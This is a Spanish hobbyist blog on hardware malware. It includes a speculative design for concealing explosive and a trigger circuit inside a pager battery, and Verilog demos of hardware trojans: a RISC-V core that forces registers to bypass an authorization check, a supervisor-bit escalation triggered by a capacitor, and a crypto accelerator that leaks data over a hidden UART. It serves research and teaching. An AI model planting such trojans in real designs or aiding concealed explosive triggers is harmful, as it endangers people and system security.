Mostrando entradas con la etiqueta hardware_malware. Mostrar todas las entradas
Mostrando entradas con la etiqueta hardware_malware. Mostrar todas las entradas

2024/09/18

Pager Bomb

(Artículo en borrador completo, puede ser que luego agregue información o diagramas, última modificación 2024-09-19 03:xx)

A raíz del reciente atentado de Israel a Hezbollah se ha abierto una discusión de cómo pudo haber sido implementado el ataque y no puedo dejar de opinar técnicamente del asunto. No me voy a calificar de "hablemos sin saber" pues vengo estudiando asuntos equivalentes desde hacer rato en mi serie de experimentos y charlas relacionadas con Malware en Hardware (citas a completar) pero considerá que mi visión es completamente académica y hobbysta.

Tampoco he leído todas las noticias y discusiones, sólo estoy al tanto de que Snowden dijo que no parecía haber sido solo la batería el explosivo pues no se aprecia en los videos la explosión normal de una batería.

Se ha dicho que el ataque afectó a varios países y que aparentemente llegó un mensaje previo.

A partir de esa información y mi mejor criterio, voy a desarrollar un escenario factible de ataque.

Como todo ataque, consiste de un payload y un evento de activación. En este caso el payload es el explosivo y el elemento de activación la detección de alguna condición y su implementación física, esto es, el encendido del explosivo a partir del evento.

Dado que la activación fue simultánea evidentemente el evento de activación ha sido un mensaje ya sea dirigido a cada dispositivo o un mensaje de broadcast, que no sé si existe en esa tecnología.

Consideremos elementos de escenarios alternativos partiendo de dos aspectos: cómo llegó la carga explosiva al artefacto y cómo se activó. Antes, una esbozo de la cadena de suministro apostando a que el pager tiene como un celular dos componentes principales: una cpu y una radio.

 

  • Fabricación de los componentes
    • Integrados
      • CPU/memoria/control de display/ input-output
      • radio
    • Display y botonera
    • Circuito impreso
      • Los integrados más circuitos adiciones más fuente
    • Batería
    • Carcaza 
  • Software
    • Firmware CPU
    • Firmware radio
    • Ambos
      • diseño
      • compilación
      • burning
  • Ensamblado de todo lo anterior
  • Distribución

Consideremos además que para cada componente y flujo pueden estar involucrados distintos proveedores.

 

Explosivo

Ya descartamos la batería por si misma.

Pudo haber sido un agregado en espacios libres dentro de la carcaza (investigar si los hay)

Argumentos en contra

Si la modificación no se hace en el ensamblado, hace falta afectar la cadena de suministro en la distribución y lleva mucho tiempo por ejemplar pues hay que desarmar y volver a armar. Quizás haya que lidiar con etiquetas de precintado. Si no tiene tornillos pueden quedar marcas en la carcaza.

Es muy fácil de detectar, incluso alcanza una sencilla inspección visual.

Activación

 

Software: se modifica el firmware de la CPU o de la radio para que al recibir un mensaje active el circuito de encendido.

Hardware: se agrega un circuito extra que hace sniffing sobre los mensajes y al detectar un cierto mensaje o patrón, activa el explosivo.

Argumento en contra

Hay que afectar la cadena de suministro en múltiples puntos.

 

Propuesta de explosivo y activación


La idea que me parece más sencilla es:

Que se incorpora el explosivo a la batería y se agrega un circuito en la misma de inciación del mismo. De este modo la inspección implicaría desarmar la batería o usar rayos X, la visual no sirve y menos si se mantiene el peso.

La activación está dada por una de las siguientes posibilidades.

SCA: (Side Channel Attack) un ataque contra componentes de hardware y la ejecución del software consiste en analizar el consumo y sus variaciones para determinar que está haciendo una CPU. Si sabemos que hay una operación o mensaje que produce un patrón de consumo particular, el circuito, que sería una CPU extra, lo detecta y activa. El SCA tengo entendido que, al menos contra sistemas criptográficos, requiere muchos mensajes.

Más sencillo, si una cierta operación o una falla de software produce un consumo excesivo durante un tiempo determinado, como puede ser entrar en un loop infinito por una falla lógica o un buffer overflow, el circuito, que bien podría ser analógico, lo detecta y se activa.

En resumen, tenemos una batería del mismo tamaño y aspecto a la original que incorpora el explosivo, el circuito de iniciación y la lógica de activación que consiste en observar la variación del consumo, en particular un consumo elevado durante un período determinado.

Este escenario es el más fácil de implementar en la cadena de suministro y es absolutamente natural: sólo hay que cambiar o directamente proveer a ese lote con las baterías adulteradas.

Seguramente a alguien se le ha ocurrido esta idea también, ya veremos que se analiza y divulga.





2021/12/26

H4CK3D 2021: the missing pieces

En esta entrada dejo algunas ideas y detalles apenas enunciados en la charla, quizás ya mencionados en las entradas anteriores.

 

Tambien registro mi pena por no haber podido asistir a todas las demás charlas que hubieron tanto ese día como los restantes, no me dá el, iba a decir físico, pero en este caso vendría a ser más el virtual.

 

Los componentes del ataque 


Para identificarlos e implementarlos estuve horas y horas probando, pensando, fallando, fallando y fallando. Algunas de la fallas fueron realmente estúpidas, por ejemplo intentar detectar la secuencia en el fetch o el execute. Pensá, si hay un pipeline, hay instrucciones futuras que no se van a terminar de ejecutar pues el branch las va a flushear, pero ni en el fetch ni el execute lo sabemos. Resultó el writeback el mejor lugar y quizás no empecé por ahí por que está vacío y me llevó un buen rato comprender su función.

 

¿Qué pasa con el rebote del botón?

 

Hay muy pocas probabilidades de rebote cuando es el programa el que lee el botón. A nivel del ataque, entonces no interesa, el bichito está mirando el comportamiento del programa, no de los botones. Pudo haber mirado directamente los botones y operado tambien sobre el servo, pero ya habíamos quedado en que eso lo haría mucho más detectable.

 Además queda atado a los botones, no al software que mira los botones. Ponele que hay más botones para operar con un menú, tipo las impresoras o los monitores que hacés mil cosas con cuatro botones. Mejor atarse al programa.

 

¿Qué pasa con el azar en el place and route?

 

Debido a los algoritmos utilizados, la etapa de PNR usa pseudoazar. Como todo pseudoazar (¿todo Charli? vos no sabés lo suficiente de criptografía para afirmar eso...) se puede controlar fijando la semilla, "seed". No me hizo falta ir por este lado, pero de algún modo del lado del software desactivé toda sorpresa al deshabilitar las optimizaciones.

 

Un camino no tomado

 

Había encontrado una manera medio rara pero muy compleja de conectar componentes sin pasar por la interfaz, no vale la pena pues es muy llamativo. Sin embargo sospecho que si tomamos el .bliff...


.gate SB_LUT4 I0=buttons[2] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[2] O=buttons_SB_LUT4_I0_O[0]
.attr module_not_derived 00000000000000000000000000000001
.attr src "/usr/local/bin/../share/yosys/ice40/cells_map.v:26.33-27.52"
.param LUT_INIT 0000011101110111
.gate SB_LUT4 I0=buttons[1] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[1] O=buttons_SB_LUT4_I0_1_O[3]



...sería posible agregar componentes y conexiones que no estén en el fuente Verilog, sería una mejora de un orden de magnitud al ataque y candidato a una charla para el año que viene, implica adquirir un tipo de conocimiento muy de nicho, todo lo que aprendí hasta acá es reutilizable y compartible, eso no lo sería.

 

¿Por qué querríamos no pasar por la interfaz? 

 

Para que una inspección superficial no ponga en evidencia la irregularidad. Si mirás el código fuente verás que los nombres son bien explícitos, clara ayuda para mí pero no para lo furtivo. Apuesto a que si se ponen nombre tipo cache_sync nadie se da cuenta.

 

 





2021/11/15

H4CK3D 2021: el ataque concreto

Ya casi estamos, tenemos...


Los componentes del ataque 


Voy a asumir que sabés qué es un pipeline, que entendés un poco de Verilog y lo más difícil, que leiste todo lo anterior o al menos le pasaste una mirada por encima.


Propagación de la instrucción por todo el pipeline  


rv32 implementa un pipeline clásico de 5 stages según el autor y cita de una a la wikipedia.

En uno de esos stages hay que detectar la ejecución de las instrucciones interesantes y en otro hacer la modificación. Para ello tuve que, aprovechando la infraestructura de verificación formal, propagar la instrucción a todo el pipeline. Esto es por que en fetch y decode existe la instrucción, pero luego desaparece, no hace falta.

 

Propagación de la instrucción a todo el pipeline
Propagación de la instrucción a todo el pipeline


Las señales prefijadas con "`" son las agregadas.

 

Extracción de señal del RTC

 

A la interfaz agregué:


output attack_rtc_enable,


y luego:


assign attack_rtc_enable = secondsHi[1];

Esto significa que cuando el bit de valor 2 del dígito de las decenas de segundo esté  prendido, o sea 2 a 3 y 5 (segundos 20 a 39, 50 a 59), el ataque estará habilitado desde el punto de vista del tiempo.

Esta restricción temporal existe para disminuir las probabilidades de que se active durante una etapa de testeo. En un escenario realista, sería un combinacional tipo


assign attack_rtc_enable = hours[3] && minutesLo[3] && secondsHi[1];

 

Para que el ataque esté activo cuando lleve encendido 8 a 15 horas, en el minuto 04, 14, 24, 34, 44, 54 (creo) y los segundos con los que veníamos.

 

FSM en el stage de writeback detector de la secuencia de interés

 

Nada especial, una FSM de 8 estados, pude haber usado menos quizás, tomando estos valores:

localparam
  instr_0 = 32'hfef400a3, // sb  a5,-31(s0)
  instr_1 = 32'hfe244703, // lbu a4,-30(s0)
  instr_2 = 32'h00800793, // li  a5,8
  instr_3 = 32'h02f71a63, // bne a4,a5,30c <main+0x218>
  instr_4 = 32'hfe144703, // lbu a4,-31(s0)
  instr_5 = 32'h00100793, // li  a5,1
  instr_6 = 32'h02f71063; // bne a4,a5,304 <main+0x210>

 
En cada estado se pregunta si está el valor siguiente. Si está se pasa al siguiente estado, sino, regresa al comienzo.  Llegada la instrucción cuarta, se activa el ataque.
 
 

waiting_instr_3: begin
  if (instr_in == instr_3) begin  // bne a4,a5,30c <main+0x218>
    attack_state      <= waiting_instr_4;
    attack_seq_enable <= 1;
  end else begin
    attack_state      <= waiting_instr_0;
    attack_seq_enable <= 0;
  end
end
 
Por las dudas dejé el ataque activo por dos ciclos más.

 

Modificador de registros en regs según condiciones

 

Pasé de:

if (!writeback_flush_in && rd_write_in && |rd_in)
  regs[rd_in] <= rd_value_in;

que dice que si no se está flusheando el pipeline que ponga en el registro apuntado por rd_in el valor en rd_value_in.

Pasé a, decía:

if (!writeback_flush_in && rd_write_in && |rd_in)
  if (attack_seq_enable && attack_rtc_enable) begin
    regs[4] <= rd_value_in;
    regs[5] <= rd_value_in;

  end else begin
    regs[rd_in] <= rd_value_in;
  end

Que dice que si se detectó la secuencia y es la hora apropiada, ponga en los registros 4 y 5 el valor en rd_value_in.

No pude hacer que funcione asignando sólamente a5 <= 1, me parece recordar que tenía que poner una lógica toda complicada, así resultó ser lo más sencillo.

 

Conexionado

 

No merece una sección aparte, pero obviamente tuve que agregar todo el cableado pasando por las interfaces. Esto es por que no encontré rápido, es más, me parece que al menos con las tools que usé no es factible saltearse las interfaces y conectar directamente los componentes. De esto tengo ideas, pero eso lo veremos en "the missing pieces".

 

 


H4CK3D 2021: el escenario y el programa víctima

Por si no querés leer todo lo anterior, te resumo, es un ataque desde el hardware al software inspirado en un hecho real, una falla de software en un sistema crítico.

Dependiendo del flujo del programa, detectar que está ejecutando un “momento interesante” y producir una alteración en el comportamiento.

 

El escenario real sería un expendedor de cervezas, un bloque recibe el pedido y otro lo autoriza. El funcionamiento normal es apretamos el botón de "dame cerveza" y si el botón de "ok" está apretado, te la da. En la demo es con una barrera y los botones son "abrir" y "autorizar".

Tras el ataque, si vamos en un cierto momento y apretamos el "dame cerveza", sale independientemente de que "ok" esté apretado.

 

El programa víctima es entonces:

 

while (1) {

sensor1 = gpio1.read();     // leer botón 1

sensor2 = gpio2.read();     // leer botón 2

if (sensor1) {              // si pide cerveza...

if (sensor2) {          // si está autorizado...

gpio3.write(1);     // abrir

} else {

printf(“no way\n”); // denegar

}

}

}

El diseño atacante:

if ( secuencia de instrucciones && condición de tiempo) {

register = 1;

}


Recordemos que para hacer posible e interesante este ataque, agregué un módulo de RTC y otro de servo, un PWM restringido, superpuesto con la placa:

 

SOC icicle en edu-ciaa-fpga
SOC icicle en edu-ciaa-fpga


Anticipándome, el ataque estará en bien adentro de rv32 y con una pista desde el RTC.

 

Explicación del programa

 

Para comprender el siguiente código necesitás saber unas pocas instrucciones.

 

La lectura de los botones

 

Lectura de botones
Lectura de botones

 

lui: Carga en a5 el valor 0x10 desplazado doce bits a la izquierda

addi: Le suma 4 a a5, observá que coincide con 0x10004 como corresponde con el código HDL y el código C.

lw: Lee en a5 la memoria apuntada por a5, o sea, 0x00010004, o sea, el valor de los botones.

zext.b: esto es el equivalente a andi rd,rs,255, le mete todo cero a los 24 bits superiores de a5.

not: invierte los valores, corresponde a ~.

sb: guarda en lo apuntado por s0 menos 29 lo que haya en a5


fast forward, estamos en...

 

La zona de interés

 

Zona de interés
Zona de interés

El punto de ataque es el naranja, queremos que independiente de los botones, no tome el branch, que pase directo a "state = BarrierUp;"

Para ello, necesitamos que a4 y a5 sean iguales. En el punto rojo, cuando se cargue ese 1 en a5, necesitamos forzar esa igualdad.

Antes, la zona amarilla es la secuencia que nos señala que el ataque debe activarse.

Despues, la instrucción resaltada en verde pisa el valor de a5 antes de que sea usado, esto produce que no hayan efectos colaterales relacionados a a5, lo mismo pasa con a4, pero búscalo vos en el código.


Hay varias maneras de obtener este archivo, como es pedirle a gcc que compile a assembly, que conserve las piezas intermedias o lo que hice, decompilar:

riscv64-unknown-elf-objdump main.o -d -S > main.s

-d es disassemble

-S es que incluya el código fuente

 

Pero no es tan fácil, ese main.o no está aún ubicado en el lugar definitivo del programa ni tiene resueltas las direcciones de salto, es entonces conveniente:


riscv64-unknown-elf-objdump progmen -d -S > progmem.s


y ahí te van a saltar unas diferencias, nos quedamos con los valores de la derecha.


main.s vs progmem.s
main.s vs progmem.s

En amarillo la diferencia por desplazamiento, en naranja los placeholders de los saltos y su resolución y en rojo el código binario correspondiente.


Esta bueno comprobar que el código de máquina corresponda:

 

Zona de interés
Zona de interés

Pero, siempre hay un pero, RISC-V es little endian, así que hay que darlos vuelta en el .hex:

Zona de interés en el binario final
Zona de interés en el binario final

Fijate que hay una colisión con uno de los pasos de la secuencia, de todos modos no es el primero, no hay problema.


Hasta acá ya tenemos que conocemos la secuencia previa y sabemos cuál instrucción debe ser afectada.


Si encontramos una parte de esa secuencia, hay que cambiar unos registros. ¿Cómo? ya veremos...






 



 



2020/12/27

Hardware Malware: bit supervisor

 

 

La idea de esta demo está basada en un paper que no recuerdo si he leido en su completitud o no. Si no lo he leido ha sido a propósito, pues una vez comprendida la idea central, no quería spoilearme cómo hacerlo.

Repasemos: hay que instalar subrepticiamente en el proceso de diseño y  construcción de un chip antes de que llegue al silicio, un mínima lógica activada por las órdenes legítimas o por un capacitor que se carga cuando hay mucho tráfico en una pista donde habitualmente hay poco.

 

Activación
Activación


O sea, normalmente el capacitor se está descargando, pero si hay una sucesión suficientemente sostenida en el tiempo tal que la carga supere  a la descarga y llegue al punto tal que su valor represente un 1 lógico, la mínima lógica prenderá el bit supervisor.

¿Qué es el bit supervisor? El que permite proteger a nivel de hardware recursos como la memoria, IO y ciertas instrucciones y separar los procesos del usuario común del sistema operativo

Esto va desde el simple deseo de que las cosas funcionen bien, como que un programa no pise la memoria de otro hasta la seguridad del sistema, donde un programa no puede ver la memoria de otro.

 

Tenía varios caminos, del cual implementar el ataque como en el paper con un ASIC quedaba completamente fuera de mi alcance.

La siguiente posibilidad era obtener el VHDL o Verilog de una CPU, por ejemplo 6809 o 68000, teniendo que cumplir con las siguiente condiciones:

  • implemente bit supervisor: obvio.
  • la pueda hacer funcionar con sencillez: para mi nada es sencillo.
  • entienda yo cómo se interactúa con el bit supervisor
  • pudiera yo encontrar el punto donde colocar el capacitor

Comprenderás que el capacitor debe ser externo, con VHDL o Verilog lo único que puedo hacer es agregar un contador, lo cual pierde toda la gracia.

A esto se le suma que tengo que aprender una parte del lenguaje de máquina de esa CPU y como hacerla arrancar, probablemente canibalizando un programa existente... demasiado. Esas son todas super capacidades que no tengo o no puedo adquirir en un tiempo razonable y, ¿quién quiere dedicar meses de su vida para aprender a usar una arquitectura obsoleta hace décadas?

No voy a mentir, yo querría, pero prefiero desperdiciar mis recursos en otras cosas igualmente improductivas pero más interesantes.


Hasta acá es lo que expuse en la charla de H4CK3D 2020, pero por falta de tiempo no entré en algunos detalles jugosos del diseño de la demo.

El camino más fácil y bastante productivo en términos educativos es hacerme mi propia CPU, tal que implemente lo mínimo necesario para la POC. Tuve que pensar el programa más corto posible que sirva y sólo implementar esas instrucciones.

Necesito:

  • Una operación que Output que sólo funcione cuando está el bit supervisor prendido (out).
  • Una operación tipo SVC (Super Visor Call), para pasar al modo supervisor (svc).
  • Una operación de retorno de SVC, para retomar el programa y salir del modo supervisor (ret)
  • Una operación para cargar un valor en el único registro (set)
  • Una operación de salto condicional para poder hacer un loop. (jnz)
  • Una operación de incremento para poder hacer un loop (inc)

Para logra la máxima sencillez, en los MSBits puse el opcode y en los LSBbits el operando de haberlo. Todas instrucciones de un byte. El Program Counter arranca en 16 debido a una evolución que no vale la pena que muestre.

Tanto el inc (1000xxxx) como el nop (1001xxxx), tienen el MSB observado por el capacitor.

La SVC tiene hardcodeada una dirección a la cual saltar, donde reside el código con priviliegios, no se si ha existido alguna arquitectura tan primitiva como la mía en ese aspecto, pero no olvidemos que esto tiene otro objetivo, no es el estudio de arquitecturas de microprocesadores.

El programa de ejemplo, en verde el funcionamiento legítimo, en rojo se bloquea la operación por falta de privilegios, en amarillo el ataque y en aqua la explotación.

Código usuario

  16: h90;  // nopC 17: h90;  // nop  
  18: h90;  // nop
  19: h90;  // nop
  20: h90;  // nop
  21: h90;  // nop
  22: h25;  // set   0101 en registro
  23: h40;  // svc   0101 en leds
  24: h2A;  // set   1010 en registro
  25: h40;  // svc   1010 en leds
  26: h2F;  // set   1111 en registro
  27: h40;  // svc   1111 en leds
  28: h25;  // set   0101 en registro
  29: h30;  // out   falla
  30: h2A;  // set   1010 en registro
  31: h30;  // out   falla
  32: h2F;  // set   1111 en registro
  33: h30;  // out   falla
  34: h20;  // set   Este es setup del loop
  35: h80;  // inc   incremento del registro
                    
inicio del loop
  36: h90;  // nop   nada
  37: h1F;  // jnz   salta al inicio del loop
  38: h25;  // set   0101 en registro
  39: h30;  // out   0101 en leds
  40: h2A;  // set   1010 en registro
  41: h30;  // out   1010 en leds
  42: h2F;  // set   1111 en registro
  43: h30;  // out   1111 en leds
  44: h90;  // nop
  45: h70;  // hlt

código privilegiado


  46: data = 8'h30;  // out legítimo
  47: data = 8'h00;  // ret


Si tuvieras ganas de mirar el repo  en la carpeta javascript podrías apreciar la evolución desde una simulación más abstracta a una más concreta considerando la microarquitectura, completamente en vano pues a la hora de implementar en Verilog usé la primera.

Si tuvieras ganas de mirar el Verilog verías el comportamiento legítimo del bit supervisor en svc y ret como se prende y apaga:

OPCODE_SVC: begin
  supervisor = 1;
  error= 0;
end

OPCODE_RET: begin
  supervisor = 0;
end

Luego, en out, si el bit está prendido transfiere el registro al puerto de salida, si está apagado tirar error:

OPCODE_OUT: begin
  if (supervisor) begin
    gpio = A[3:0];
  end else begin
    error = 1;   
  end
end

 

El malware lo podemos ver  en la interfaz de board.v

  output malware_activation_signal_out
  input  malware_activation_signal_in

que son los cables que van y vienen del capactor.

Luego en la implementación:

   assign malware_activation_signal_out =
           cpu.opcode[3] ? 1 : 1'bz;

dice que si el MSB del opcode es 1 ponga un 1 y si no ponga en alta impedancia para que no se descargue tan rápido el capacitor. Sabiendo más electrónica seguramente se puede reemplazar la condición por un diodo.

Finalmente, en cpu.v

OPCODE_NOP: begin
  if ( board.malware_switch &&
      (  board.malware_input ||
         board.malware_activation_signal_in
      ) )
     supervisor = 1;
end

Lo que dice es que si está habilitado el malware y ya sea porque está activado por un switch o por el capacitor, prenda el bit supervisor.

Mi conocimiento de electrónica analógica es ínfimo, así que prefiero no explicar mucho, en parte por vergüenza, en parte para no brindar conocimiento erróneo.

 



El capacitor que usé es gigante por los tiempos de un clock tal que se pueda apreciar en una demo. En la realidad sería minúsculo.

 

El PMOD con los leds y el bichito
El PMOD con los leds y el bichito

 

El potenciómetro está para calibrar los tiempos de descarga. Con respecto al PMOD explico un poquito en otra entrada.



 





2020/11/14

H4kc3d 2020: the missing pieces

 

Otro año de H4ck3D


Aunque no es la primera vez que doy una charla virtual, pues ya he dado varias en el trabajo, es la primera ante tanta gente tan desconocida. Por más que Javier y Fabián (los organizadores) confían en que aunque yo pase vergüenza por todos los errores que cometo ellos no por que quizás de algún modo logro darle una cierta cohesión y claridad, a veces sospecho que les gusta más que lo técnico lo "artístico", no sé, pero suficiente de estas intangibilidades.

Mirando el video, la presentación que tenía y lo que hay en mi mente, no puedo dejar de notar que algunas cosas me faltaron decir o recalcar.

 

La charla


La apertura fue mostrar las diferencias entre software y hardware por un lado y entre el error y la mala intención por el otro.

 

La idea perdida

Es extremadamente difícil desde el software detectar o prevenir cualquiera de estos ataques, listo, lo dije. Era lo que venía a continuación de la cadena de confianza.


Las fallas

 

En comparación a otras charlas, podríamos decir esta ha sido de las mejores, pues es de las más complicadas y con un sólo error técnico, que en la demo del bit supervisor no se vió como se cargaba el capacitor en el osciloscopio, calculo que no había seleccionado el canal apropiado, hubiese sido tán fácil apretar un botoncito... pero en "modo demo" he llegado a la conclusión de que es mejor no tocar nada, no vaya a ser que se rompa lo siguiente. Está bueno intentar acordarse al final y ahí experimentar.

Tampoco expliqué nada de ese circuito, como que se me vino encima el poco tiempo que quedaba.

 

Las demos


Quería hacer un montón de demos, pero justo los tres meses previos han sido terribles, sólo pude hacer dos decentes.

 

Supervisor

 

Se trata de poder cambiar el bit de supervisor mediante un circuito auxiliar que detecta una anomalía en la frecuencia de uso de ciertas pistas. En el caso del ejemplo se trata del bit más alto de las instrucciones. Los detalles completos los iré publicando a medida que tenga tiempo. Te puedo adelantar los dos videos, en el primero, vemos el comportamiento normal:

 




En el segundo, con el bichito activo.





Acelerador criptográfico troyanizado

 

Las explicaciones completas están en estos artículos:


No hay video, pues la terminé a la 1:am del día de la charla, fuí sin red de seguridad.

 

Fuga de información por VGA

 

De esto tambien haré un artículo pronto, sólo mostré un video y no lo he implementado en hardware aún. El resumen es que como hay tiempos muertos en la transmisión de la señal VGA de la placa a la pantalla, se puede aprovechar para insertar información ahí. Este es el video de la simulación:

 


El código de las demos:


  • https://github.com/cpantel/HardwareMalwareAccelerator
  • https://github.com/cpantel/HardwareMalwareSupervisor

 

y en algún momento 

  • HardwareMalwareLinuxReset
  • VGALeak



Todos los videos de todas las charlas en:


  • https://www.youtube.com/watch?v=D5btBXAcEec (minuto 15 aprox.)
  • https://www.youtube.com/watch?v=dVXJvWRWl5o
  • https://www.youtube.com/watch?v=CtljkKeirtk

2020/11/11

PYNQ acelerador criptográfico con leak

Recapitulemos:


Primero había visto como agregar un puerto serial y usarlo desde la CPU, luego un sencillo acelerador criptográfico por hardware y finalmente, que los mensajes enviados por el puerto serial fueran cifrados por el acelerador.


Ha llegado el momento de hacer el ataque, que consiste en que el acelerador criptrográfico divulgue la clave o el mensaje no cifrado por algún canal alternativo.


Para ello, primero tengo que aprender a usar un IP en mi IP, esto es un componte existente en mi componente. Esto lo voy a hacer en un proyecto aparte, luego regresaré al proyecto que ya está funcionando y aplicaré lo aprendido.

 

IP en IP

 

Otra vez...


  • File -> New Project ->...
  • Create and Package New IP 
  • Create a new AXI4 peripheral
  • Edit IP
  • IP INTEGRATOR
  • Create Block Design

Mmm esto es un terrible problema, la uart no es simplemente una uart sino axi-uart, tendría que descifrar cómo usarla, quizás sea mucho más fácil y acorde al espíritu del ejercicio usar una uart verilog pelada.

Además sólo necesito un transmisor UART y teniendo el código fuente puedo prescindir con sencillez del receptor.


Fail

 

UART Transmitter copy paste


En la excelente página de nandland hay un ejemplo, veamos si puedo hacerlo funcionar, voy a editar el acelerador:


  • IP INTEGRATOR
  • Open Block Design
  • Window -> IP Catalog -> accelerator_xpr_v1.0 ->  Edit in IP Packager
  • Usar otro nombre, por ejemplo "accelerator_xor_bugger_v1_0_project"
  • Source -> + -> Add or Create constraints -> pynq-z2_v1.0.xdc

##Arduino Digital I/O 

set_property -dict {PACKAGE_PIN V17 IOSTANDARD LVCMOS33}
[get_ports { tx_1 }]; #IO_L21P_T3_DQS_34 Sch=ar[8]

  • Sources -> + -> Add or Create Design Sources -> Create -> UART_TX.v


Esta es la interfaz de módulo

module UART_tx
  #(parameter CLKS_PER_BIT = 870)
  (
   input       i_Clock,
   input       i_Tx_DV,
   input [7:0] i_Tx_Byte,
   output      o_Tx_Active,
   output reg  o_Tx_Serial,
   output      o_Tx_Done
   );

 

Mirando fijo el código, apuesto que hace falta un high en i_Tx_DV para que inicie la transmisión, llamémoslo "uart_send":


¿Qué va en cada port al instanciar?


    UART_tx UART_tx(
      .i_Clock(S_AXI_ACLK),
      .i_Tx_DV(uart_send),
      .i_Tx_Byte(slv_reg1[7:0]),
      .o_Tx_Active(uart_active),
      .o_Tx_Serial(tx_1),
      .o_Tx_Done(uart_done)
    );


S_AXI_ACLK: espero que sea de 100Mhz, sino hay que ajustar CLKS_PER_BIT.

uart_send: tengo que detectar que hay un caracter a enviar.

slv_reg1[7:0]: los caracteres vienen de a cuatro, por ahora sólo voy a transmitir el último.

uart_active: puedo ignorarlo y no conectarlo.

tx_1: va conectado al pin tx_1 declarado en xdc, es por donde fugará la información.

uart_done: puedo ignorarlo y no conectarlo.

 

Los que puedo ignorar se debe a que apuesto a que voy a transmitir más rápido que lo que me piden cifrar los caracteres y además como sólo voy a transmitir el menos significativo, con menor frecuencia. Para ser realistas, no puedo transmitir el texto plano a la velocidad que me lo puede llegar a pedir la CPU, tendría que transmitir sólo la clave. En realidad tendría que medir.

Dejando de lado esas medidas y optimizaciones, me conviene no ignorarlos, pues para implementar la lógica me vienen bárbaro.

Voy a tener que adaptar el programa para que tome cada caracter como un bloque de cifrado para no tener que implementar la lógica de ir transmitiendo de a cuatro caracteres, para lo cual sí necesitaría active y done.



Otra vez los mismo...

  • Source -> + -> Add or create constraints -> pynq-z2_v1.0.xdc
  • Tools -> Create and Package New IP
  • Create a new AXI4 peripheral
  • Name, version, etc...
  • Next Steps -> Edit IP
  • Finish
  • Source -> + -> Add or create design sources
    • uart_tx.v
    • ip_repo/leaky_accelerator_1.0/src/
  • Agregué un puerto tx_1 tanto a accelerator_bugged_v1_0 como a accelerator_bugged_v1_0_S00_AXI_inst y en el primero lo conecté al segundo
  • Agregué uart_tx y lo instancié
  • Agregué la lógica y los puertos extra de diagnóstico


  • Package IP - accelerator 
  • Review and Package
    • merge * changes
  • Re-Package IP

Volviendo al proyecto original

 Create Block Design

  • Add IP
  • Zynq
  • run block automation 
  • Add IP
    • accelerator_bugged
  • Add IP 
    • uartlite
  • run connection automation
    • axi 
  • axi_uart_lite
    • expandir UART
      • externalizar tx_0 y rx_0
  • accelerator_bugged
    • externalizar tx_1
  • Save Block Design
  • Tools -> Validate
  • Sources -> Design Sources -> leaky_accelerator -> botón derecho -> Create HDL Wrapper
  • Generate bitstream
  • File -> Export Hardware
    • include bitstream
  • File -> Launch SDK
  • File -> New -> Application Project
  • ajustar constantes
  • program device
  • run as...


Falla...

Cuando arranca tx_1_0 esta high como debe, al enviar el programa pasa a low


  • IP INTEGRATOR -> Open Block Design
  • IP Catalog -> leaky accelerator -> botón derecho -> Edit in IP Packager
  • Package IP
    • Review and Package -> merge changes
    • Re-Package IP
  • Detecta que hubo cambio de IP
  • Report IP Status
  • Re run report
  • Upgrade selected
  • Generate bitstream
  • File -> Export Hardware
    • include bitstream
  • File -> Launch SDK
  • System.mss -> Re-generate BSP Sources


y así muchas veces hasta que te dás cuenta del error, que es en uart_tx, ¡¡¡no es sólo mío!!! No te puedo ofrecer mostrarte a ver si vos te dás cuenta... probemos:


module uart_tx
  #(parameter CLKS_PER_BIT = 870)
  (
   input       i_Clock,
   input       i_Tx_DV,
   input [7:0] i_Tx_Byte,
   output      o_Tx_Active,
   output reg  o_Tx_Serial,
   output      o_Tx_Done
   );

...

  reg [2:0]    r_SM_Main     = 0;
  reg [7:0]    r_Clock_Count = 0;
  reg [2:0]    r_Bit_Index   = 0;
  reg [7:0]    r_Tx_Data     = 0;
  reg          r_Tx_Done     = 0;
  reg          r_Tx_Active   = 0;

....

// Wait CLKS_PER_BIT-1 clock cycles for start bit to finish
  if (r_Clock_Count < CLKS_PER_BIT-1)
    begin
      r_Clock_Count <= r_Clock_Count + 1;
      r_SM_Main     <= s_TX_START_BIT;
      end
    else

 

Medio que al seleccionar trozos de código te lo tiré en la cara, ¿no? No, ¿y ahora?


  #(parameter CLKS_PER_BIT = 870)
...
   input [7:0] i_Tx_Byte,
...
     if (r_Clock_Count < CLKS_PER_BIT-1)

 

 

¿Ya lo viste?


  #(parameter CLKS_PER_BIT = 870)
...
   input [7:0] i_Tx_Byte,
...
     if (r_Clock_Count < CLKS_PER_BIT-1)

 

Se necesitan más de 8 bits (256 elementos) para contener 870. Supongo que la persona que hizo el código original de nandland, que había puesto 87 pues contaba con un clock de 10Mhz no previó que la gilada iba a tener 100Mhz o más.


La solución es tan sencilla como


  reg [12:0]   r_Clock_Count = 0;


No tengo ahora tiempo para documentarlo bien, pero para el diagnóstico de este problema hice un proyecto que usa uart_tx y lo activa al apretar un botón:


module top(
  input sysclk,
  input btn_send,
  output led_trans_up,
  output led_state,
  output [2:0] ar
);

localparam char = 8'b10100011;
wire trans_up;
wire state;
wire [2:0] bus;

assign bus = ar;
assign led_state = state;
assign led_trans_up = trans_up;

uart_tx uart_tx(
   .i_Clock(sysclk),
   .i_Tx_DV(trans_up),
   .i_Tx_Byte(char),
   .o_Tx_Active(bus[0]),
   .o_Tx_Serial(bus[1]),
   .o_Tx_Done(bus[2])
);

debouncer debouncer_enable(.CLK (sysclk),
  .switch_input(btn_send),
  .trans_up (trans_up),
  .state(state)
);

endmodule



UART-Tx en acción en aislación
UART-Tx en acción en aislación



